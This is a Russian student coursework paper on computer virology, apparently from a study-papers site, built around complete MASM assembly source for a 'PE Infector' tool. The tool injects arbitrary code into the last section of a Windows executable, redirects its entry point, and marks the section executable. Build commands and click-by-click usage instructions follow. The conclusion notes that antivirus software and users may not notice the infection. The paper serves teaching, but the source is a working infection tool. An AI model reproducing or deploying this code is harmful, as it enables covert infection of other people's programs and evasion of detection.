Компьютерная вирусология

Автор: Пользователь скрыл имя, 26 Декабря 2012 в 03:21, контрольная работа

Описание работы

Компьютерный вирус – разновидность компьютерных программ, отличительной особенностью которой является способность к размножению (саморепликация). В дополнение к этому вирусы могут повредить или полностью уничтожить все файлы и данные, подконтрольные пользователю, от имени которого была запущена заражённая программа, а также повредить или даже уничтожить операционную систему со всеми файлами в целом.

Работа содержит 1 файл

Контрольная работа по вирусологии Пугачева А.В.doc

— 71.00 Кб (Скачать)

Министерство образования  и науки Российской Федерации

ФГБОУ ВПО «Московский  государственный открытый университет  имени В.С. Черномырдина»

Чебоксарский политехнический  институт (филиал)

Кафедра информационных технологий и программирования

 

 

 

 

 

 

КОНТРОЛЬНАЯ РАБОТА

 

 

по дисциплине  Компьютерная вирусология

 

 

 

Выполнил:

студент 4 курса

специальности 230105

заочного отделения

Тестов Игорь Олегович

учебный шифр 609559

 

Проверил:

преподаватель Григорьев В.Г.

 

 

 

Чебоксары 2012

Содержание

 

 

 

 

Введение

 

Компьютерный вирус – разновидность  компьютерных программ, отличительной  особенностью которой является способность  к размножению (саморепликация). В  дополнение к этому вирусы могут повредить или полностью уничтожить все файлы и данные, подконтрольные пользователю, от имени которого была запущена заражённая программа, а также повредить или даже уничтожить операционную систему со всеми файлами в целом.

Вирусы распространяются, внедряя себя в исполняемый код других программ или же заменяя собой другие программы. При этом заражённая программа сохраняет полную или частичную работоспособность. Код может внедряться в начало, середину или конец программы. Код вируса выполняется перед, после или вместе с программой, в зависимости от места внедрения вируса в программу.

В данной работе рассмотрен такой  случай заражения исполняемого файла  с PE-заголовком. Внедряемый код лучше  всего брать из файлов типа .com, так  как он не содержит дополнительных заголовков, и выполнение начинается сразу с первого байта, адрес на который будет в последствии переписан в ячейке точки входа PE-заголовка.

Основная часть

  • Исходник программы

  • Исходник Virus.asm:

    .586

    .model flat,stdcall

    option casemap:none

    ;---------------------------------------------------------------

    includelib masm32\lib\user32.lib

    includelib masm32\lib\kernel32.lib

    includelib masm32\lib\gdi32.lib

    includelib masm32\lib\advapi32.lib

    include masm32\include\windows.inc

    include masm32\include\proto.inc

    include masm32\include\user32.inc

    include masm32\include\kernel32.inc

    include masm32\include\gdi32.inc

    include masm32\include\advapi32.inc

    include masm32\include\comdlg32.inc

    includelib masm32\lib\comdlg32.lib

    ;---------------------------------------------------------------

    .data

    hWindow dd 0; Описатель окна

    msg MSG <?>

    wc WNDCLASS <?>

    hInstance dd 0; Описатель модуля

    TitleName db 'PE Infector',0

    ClassName db 'InfectClass',0

    ButtonName db 'BUTTON',0

    EditName db 'EDIT',0

    TitleButton db "From File",0

    TitleButton1 db "To File",0

    TitleButton2 db "Infect",0

    ps PAINTSTRUCT <0>

    rect RECT <0>

    text db "File is ",0

    FileInjectTitle db 'Path to file with inject code...',0

    FileDestinationTitle db 'Path to file to infect...',0

    ofn   OPENFILENAME <>

    ofn1   OPENFILENAME <>

    FilterString db "All Files",0,"*.*",0,0

    FilterString1 db "PE EXE Files",0,"*.exe",0,0

    buffer db 1000 dup(0)

    buffer1 db 1000 dup(0)

    OurTitle db "Выберите файл с кодом  для внедрения...",0

    OurTitle1 db "Выберите файл куда внедрять код...",0

    ErrorText db "Ошибка при создании  обьекта ядра",0

    ErrorTitle db "Ошибка!",0

    flag1 db 0

    flag2 db 0

    NoSelect db "Не выбран какой-то  из файлов",0

    NoSelectTitle db "Ошибка",0 

    InfectText db "Инфекция завершена",0

    Ok db "Ок",0

    SectionError db "Ошибка секции - последняя  секция нулевая!",0

    code db 0b8h,00,00,00,00,0ffh,0e0h

    .data?

    hButton dd ?

    hEdit dd ?

    hButton1 dd ?

    hEdit1 dd ?

    hButton3 dd ?

    hFileFrom dd ?

    hFileTo dd ?

    hFileMappingFrom dd ?

    hFileMappingTo dd ?

    hMappingFrom dd ?

    hMappingTo dd ?

    EntryPoint dd ?

    MaxOffset dd ?

    SizeOfLastSection dd ?

    pSizeOfLastSection dd ?

    pMemory dd ?

    SizeOfAfterSection dd ?

    FileAlignment dd ?

    EndOfNewSection dd ?

    NumberOfSections dw ?

    pVSizeOfLastSection dd ?

    pImageSize dd ?

    VirtualAddress dd ?

    VirtualSize dd ?

    SizeOfRawData dd ?

    SizeOfCode dd ?

    VirtualAdd dd ?

    pCharacters dd ?

    Base dd ?

    Point dd ?

    .code

    start:

    push 0

    call GetModuleHandleA@4

    mov hInstance,eax

    ;-------------------------Registry of Class--------------------------

    mov wc.style,CS_HREDRAW or CS_VREDRAW

    mov wc.lpfnWndProc,WndProc

    mov wc.cbClsExtra,0

    mov wc.cbWndExtra,0

    mov wc.hInstance,eax

    push 1 

    push hInstance

    call LoadIconA@8

    mov wc.hIcon,eax

    invoke LoadCursor,0,IDC_CROSS

    mov wc.hCursor,eax

    mov wc.hbrBackground,17

    mov wc.lpszMenuName,0

    mov wc.lpszClassName,offset ClassName

    invoke RegisterClass,offset wc

    ;---------------------End Registry of Class--------------------------

    ;----------------------Create of Window------------------------------

    invoke CreateWindowEx,0,offset ClassName,offset TitleName, WS_VISIBLE or WS_OVERLAPPED or WS_SYSMENU, CW_USEDEFAULT, CW_USEDEFAULT,600,100,0,0,hInstance,0

    mov hWindow,eax

    ;------------------End Create of Window------------------------------

    ;----------------------Loop of Messages------------------------------

    msg_loop:

    invoke TranslateMessage, offset msg

    invoke GetMessage,offset msg,0,0,0

    cmp ax,0

    je end_loop

    invoke DispatchMessage, offset msg

    jmp msg_loop

    end_loop:

    invoke ExitProcess,0

    ;----------------------End Loop of Messages--------------------------

    ;----------------------Procedure of Window---------------------------

    ; WndProc (HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam)

    ;           ebp+08    ebp+0C      ebp+10         ebp+14

    WndProc proc

    push ebp

    mov ebp,esp

    push ebx

    push edi

    push esi

    cmp dword ptr [ebp+0Ch],WM_DESTROY

    je destroy

    cmp dword ptr [ebp+0Ch],WM_CREATE

    je create

    cmp dword ptr [ebp+0Ch],WM_COMMAND

    je command

    jmp defwndproc

    command:

    mov eax,dword ptr [ebp+14h]

    IF eax==hButton

    mov ofn.lStructSize,SIZEOF ofn

    mov eax, hWindow

    mov  ofn.hWndOwner, eax

    mov eax, hInstance

    mov  ofn.hInstance, eax

    mov  ofn.lpstrFilter, OFFSET FilterString

    mov  ofn.lpstrFile, OFFSET buffer

    mov  ofn.nMaxFile,1000

    mov  ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY

    mov  ofn.lpstrTitle, OFFSET OurTitle

    invoke GetOpenFileName, ADDR ofn

    .IF eax==TRUE

    ;-----------------------Create FileMapping1------------------------------------------------------------------

    invoke CreateFile,ofn.lpstrFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL

    IF eax==INVALID_HANDLE_VALUE

    jmp error

    ENDIF

    mov hFileFrom, eax

    invoke CreateFileMapping,hFileFrom,NULL,PAGE_READONLY,0,0,NULL

    IF eax==NULL

    jmp error

    ENDIF

    mov hFileMappingFrom,eax

    invoke MapViewOfFile,hFileMappingFrom,FILE_MAP_READ,0,0,0

    IF eax==NULL

    jmp error

    ENDIF

    mov hMappingFrom,eax

    invoke SetWindowText,hEdit,ofn.lpstrFile

    mov flag1,1

    ;-----------------------End Create FileMapping1-----------------------------------------------------------------

    .ENDIF

    ELSEIF eax==hButton1

    mov ofn1.lStructSize,SIZEOF ofn

    mov eax, hWindow

    mov  ofn1.hWndOwner, eax

    mov eax, hInstance

    mov  ofn1.hInstance, eax

    mov  ofn1.lpstrFilter, OFFSET FilterString1

    mov  ofn1.lpstrFile, OFFSET buffer1

    mov  ofn1.nMaxFile,1000

    mov  ofn1.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY

    mov  ofn.lpstrTitle, OFFSET OurTitle1

    invoke GetOpenFileName, ADDR ofn1

    IF eax==TRUE

    invoke CreateFile,ofn1.lpstrFile,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL

    IF eax==INVALID_HANDLE_VALUE

    jmp error

    ENDIF

    mov hFileTo,eax

    invoke GetFileSize,hFileTo,NULL

    mov edi,eax

     

    invoke GetFileSize,hFileFrom,NULL

    add eax,7

    mov ecx,eax

    mov ebx,4096

    dec ebx

    add ecx,ebx

    not ebx

    and ecx,ebx    ; ecx=(x+(y-1))&(~(y-1))

    add edi,ecx

     

    invoke CreateFileMapping,hFileTo,NULL,PAGE_READWRITE,0,edi,NULL

    IF eax==NULL

    jmp error

    ENDIF

    mov hFileMappingTo,eax

    invoke MapViewOfFile,hFileMappingTo,FILE_MAP_WRITE,0,0,0

    IF eax==NULL

    jmp error

    ENDIF

    mov hMappingTo,eax

    invoke SetWindowText,hEdit1,ofn1.lpstrFile

    mov flag2,1

    ;-----------------------End Create FileMapping1-----------------------------------------------------------------

    .ENDIF

    ELSEIF eax==hButton3

    IF (flag1==1 && flag2==1);если все файлы выбраны, то заражаем

    ;------------------------Working withPEeader-------------------------------------------------

    ;-----------------------------получаем количество  секций и проходим до опционального  заголовка

    mov edi,hMappingTo

    assume edi:ptr IMAGE_DOS_HEADER

    add edi,[edi].e_lfanew    ; в edi - PE заголовок

    add edi,4    ; в edi - адрес файлового  заголовка

    assume edi:ptr IMAGE_FILE_HEADER

    mov ax, [edi].NumberOfSections

    mov NumberOfSections, ax

    add edi, sizeof IMAGE_FILE_HEADER    ; в edi - адрес опционального заголовка

    assume edi:ptr IMAGE_OPTIONAL_HEADER

    ;-----------------------------получаем VA точки  входа чтобы потом ее перебить

    mov EntryPoint,edi

    add EntryPoint,16

    ;-----------------------------получаем выравнивание секций

    mov eax, [edi].FileAlignment

    mov FileAlignment, eax

    mov pImageSize,edi

    add pImageSize,56

     

    mov eax, [edi].ImageBase

    mov Base, eax

     

    mov eax, [edi].AddressOfEntryPoint

    mov Point, eax

    ;-----------------------------переходим в таблицу секций и ищем последнюю секцию

    add edi,sizeof IMAGE_OPTIONAL_HEADER    ; в edi - адрес таблицы секций

    assume edi:ptr IMAGE_SECTION_HEADER

    mov MaxOffset,0

    xor ecx,ecx

    mov cx,NumberOfSections

    .WHILE ecx>0    ; цикл поиска смещения в файле последней секции. на выходе в MaxOffset - смещение относительно начала файла последней секции

    mov eax,MaxOffset

    .IF [edi].PointerToRawData>eax

    mov eax, [edi].PointerToRawData

    mov MaxOffset, eax

     

    mov eax, [edi].SizeOfRawData

    mov SizeOfLastSection, eax

     

    mov pSizeOfLastSection,edi 

    add pSizeOfLastSection,16

     

    mov pVSizeOfLastSection,edi

    add pVSizeOfLastSection,8

     

    mov eax,[edi].VirtualAddress

    mov esi,[edi].SizeOfRawData

    add eax,esi

    mov SizeOfRawData,eax

     

    mov eax,[edi].VirtualAddress

    mov VirtualAdd,eax

     

    mov pCharacters,edi

    add pCharacters,36

    .ENDIF

    add edi,sizeof IMAGE_SECTION_HEADER;в edi - адрес следующей секции

    dec ecx

    .ENDW

    ;------------------------End Working with PE Header----------------------------------------------------

    mov edi,pSizeOfLastSection;проверяем не нулевая  ли последняя секция

    mov eax,dword ptr [edi]

    IF eax==0

    invoke MessageBox,0,offset SectionError,offset ErrorTitle,0

    ENDIF

    ;-----------------------------внедряем код

    cld

    mov edi,hMappingTo

    mov eax,MaxOffset

    add eax,SizeOfLastSection

    add edi,eax    ; в edi - конец последней  секции, т.е адрес с которого  начинать запись

     

    mov esi,hMappingFrom

    invoke GetFileSize,hFileFrom,NULL

    mov ecx,eax

    rep movsb    ; внедряем код

     

    mov esi,offset code

    mov eax,dword ptr [esi]

    mov dword ptr [edi],eax

    inc esi

    inc edi

    mov eax,Base

    add eax,Point

    mov dword ptr [edi],eax

    add edi,4

    add esi,4

     

    mov eax,dword ptr [esi]

    mov dword ptr [edi],eax

    inc edi

    inc esi

    mov eax,dword ptr [esi]

    mov dword ptr [edi],eax

    inc edi

    inc esi

    mov eax,dword ptr [esi]

    mov dword ptr [edi],eax

    ;-----------------------------для заполнения нулями оставшейся части для учета FileAlignment

    invoke GetFileSize,hFileFrom,NULL

    add eax,7

    mov ecx,eax

    mov ebx,FileAlignment

    dec ebx

    add ecx,ebx

    not ebx

    and ecx,ebx    ; ecx=(x+(y-1))&(~(y-1))

     

    mov esi,edi

    add edi,ecx

    sub edi,eax

    WHILE 1

    mov byte ptr [esi],0

    inc esi

    .IF esi==edi

    .BREAK

    .ENDIF

    ENDW 

    ;-----------------------------записываем новый  размер последней секции

    ;mov EndOfNewSection,edi;EndOfNewSection - VA конец новой  секции

     

    mov eax,MaxOffset

    add eax,hMappingTo

    sub edi,eax

    mov esi,pSizeOfLastSection

    mov [esi],edi    ; записываем новый  размер секции в таблицу секций

     

    mov esi,pVSizeOfLastSection

    mov ecx,[esi]

    mov ebx,FileAlignment

    dec ebx

    add ecx,ebx

    not ebx

    and ecx,ebx;ecx=(x+(y-1))&(~(y-1))

    mov dword ptr [esi],ecx

     

    invoke GetFileSize,hFileFrom,NULL    ; виртуальный  размер - размер секции без файлового  выравнивания

    add eax,7

    add [esi],eax

    mov eax,dword ptr [esi]

    push eax

     

    mov esi,EntryPoint

    mov eax,SizeOfRawData

    mov [esi],eax;меняем точку входа

     

    pop eax

    mov esi,pImageSize

    mov edi,VirtualAdd

    add edi,eax

    mov [esi],edi;изменяем ImageSize

     

    mov esi,pCharacters

    mov dword ptr [esi],0A0000020h

    invoke MessageBox,hWindow,offset InfectText,offset Ok,0

    ELSE

    invoke MessageBox,hWindow,offset NoSelect,offset NoSelectTitle,0

    jmp finish   

    ENDIF

     

    ENDIF 

    jmp finish

    error:

    invoke MessageBox,hWindow,offset ErrorText,offset ErrorTitle,0

    jmp finish

    ;---------------------Calling of Default windows Procedure-----------

    defwndproc:

    invoke DefWindowProc, dword ptr [ebp+08h], dword ptr [ebp+0ch], dword ptr [ebp+10h], dword ptr [ebp+14h]

    jmp finish

    ;---------------------Calling of Default windows Procedure-----------

    ;---------------------Destroing of Process---------------------------

    destroy:

    invoke PostQuitMessage,0

    jmp finish

    ;---------------------End Destroing of Process-----------------------

    create:  

    ;---------------------Create Button on Window------------------------

    invoke CreateWindowEx,0, offset ButtonName,offset TitleButton, WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,80,35,120,30, dword ptr [ebp+08h],0, hInstance, 0

    mov hButton,eax

    ;---------------------End Create Button on Window--------------------

    ;---------------------Create Button2 on Window------------------------

    invoke CreateWindowEx,0, offset ButtonName, offset TitleButton1, WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,375,35,120,30, dword ptr [ebp+08h],0, hInstance,0

     

    mov hButton1,eax

    ;---------------------End Create Button2 on Window--------------------

    ;---------------------Create Button3 on Window------------------------

    invoke CreateWindowEx,0, offset ButtonName, offset TitleButton2, WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,230,35,120,30, dword ptr [ebp+08h],0, hInstance, 0

    mov hButton3,eax

    ;---------------------End Create Button3 on Window--------------------

    ;---------------------Create EditBox on Window-----------------------

    invoke CreateWindowEx,0, offset EditName, offset FileInjectTitle, WS_CHILD or WS_VISIBLE or WS_BORDER,20,10,250,20, dword ptr [ebp+08h],0, hInstance,0

    mov hEdit,eax

    ;---------------------Create EditBox on Window-----------------------

    ;---------------------Create EditBox2 on Window-----------------------

    invoke CreateWindowEx,0, offset EditName, offset FileDestinationTitle, WS_CHILD or WS_VISIBLE or WS_BORDER,320,10,250,20, dword ptr [ebp+08h],0, hInstance, 0

    mov hEdit1,eax

    ;---------------------Create EditBox2 on Window-----------------------

    jmp finish

    ;----------------------Backing from WinProc--------------------------

    finish:

    pop esi

    pop edi

    pop ebx

    pop ebp

    ret 16

    ;-------------------End Backing from WinProc-------------------------

    WndProc endp

    end start

  • Использование программы

  •  

    Компиляция программы производится с помощью пакета MASM v.10.

    Команды для компиляции:

    \masm32\bin\ml.exe /c /coff virus.asm

    \masm32\bin\link.exe /SUBSYSTEM:WINDOWS virus.obj

     

    После запуска программы мы увидим следующее окно:

     

    Выбираем источник инфекционного кода. Для этого нажимаем кнопку «From File». В открывшемся диалоге выбираем файл. Далее нажимаем «To File». Теперь выбираем приемник, куда будет инфицироваться файл. После выбора источника и приемника нажимаем кнопку Infect. Если заражение прошло успешно, выйдет окошко об успешном выполнении операции:

     

    Нарушение порядка нажатий управляющих  кнопок ни к чему не приведет.

    После выполнения программы можно  заметить, что размер приемного файла  увеличиться на размер, не меньший  размеру исходного приемного  файла. Округление в большую сторону происходит из-за особенностей построения исполняемых файлов PE-структуры.

    Заключение

     

    Итак, мы рассмотрели, каким образом  можно заразить обычный исполняемый  файл. Многие антивирусы даже не обратят  внимание, что происходит внедрение чужого кода в исполняемый файл. Вопрос может возникнуть лишь при запуске этой программы.

    При этом если размер исходного файл относительно мал, то изменение размера  файла будет даже незаметен для  обычного рядового пользователя, и  при условии дальнейшей работоспособности программы даже ничего и не заподозрят.

    Список литературы

     

    1. forum.xakep.ru
    2. http://www.wasm.ru
    3. http://www.cyberguru.ru



    Информация о работе Компьютерная вирусология